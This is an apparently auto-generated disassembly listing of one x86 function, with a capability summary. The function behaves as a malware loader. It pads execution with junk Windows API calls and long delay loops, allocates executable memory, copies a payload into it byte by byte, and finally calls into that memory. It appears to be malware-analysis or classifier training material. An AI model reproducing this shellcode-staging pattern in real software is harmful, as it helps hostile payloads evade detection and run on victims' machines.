Function at 0x4045c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Get hostname
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x4045ea
inc esi
cmp esi, 0x73f04bd
jl 0x4045d6
cmp dword [0x488d1c], 0x400
jne 0x40465c
push ebx
lea eax, [ebp - 0x81c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push 0x404070
push ebx
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push ebx
push ebx
call fcn.0040531a
push ebx
call fcn.00404ff2
add esp, 0xc
push ebx
call fcn.004055ac
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.0040509a
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404c50
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405200
fstp st(0)
add esp, 8
cmp dword [0x488d1c], 0x93
jne 0x4046b0
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x4040d0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call fcn.0040504e
add esp, 4
push ebx
push ebx
call fcn.0040507d
add esp, 8
call fcn.004045b0
push ebx
push ebx
call fcn.004051d7
add esp, 8
mov eax, dword [0x488d1c]
mov ecx, dword [0x483eb4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x489b58], ecx
mov dword [0x488d1c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4887ac], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4046e4
cmp dword [0x488d1c], ebx
jbe 0x40474f
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov edx, dword [0x489b58]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4887ac]
mov byte [ecx + esi], al
cmp dword [0x488d1c], 0x490
jne 0x404744
push 0
push 0
call edi
push 0x4040e0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 4]
push edx
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
call ebx
inc esi
cmp esi, dword [0x488d1c]
jb 0x404703
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
mov ecx, dword [0x488d1c]
add ecx, esi
cmp ecx, 0x8d
jne 0x404795
push 0
lea edx, [ebp - 0x41c]
push edx
push 0
push 0
push 0
push 0
call edi
lea eax, [ebp - 4]
push eax
call ebx
push 0x404118
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x40475d
call fcn.004044a0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
lea ecx, [ecx]
cmp esi, 0xfa62c8f
jge 0x4047ba
call ebx
cmp esi, 0x207142
jg 0x4047cb
inc esi
cmp esi, 0x67d12
jl 0x4047b0
xor esi, esi
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4047ee
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov ecx, dword [ebp - 4]
add dword [0x4887ac], ecx
inc esi
cmp esi, 0x674bd
jl 0x4047d0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 4], 0x7b
cmp dword [0x488d1c], 0x86
jne 0x40484b
push 0x404130
call esi
push 0
lea edx, [ebp - 0x81c]
push edx
push 0
call edi
push 0x404168
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x488d1c], 0xf
jne 0x404862
push 0
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
sub dword [ebp - 4], 1
jne 0x404810
push 0x4041c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x4887ac]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret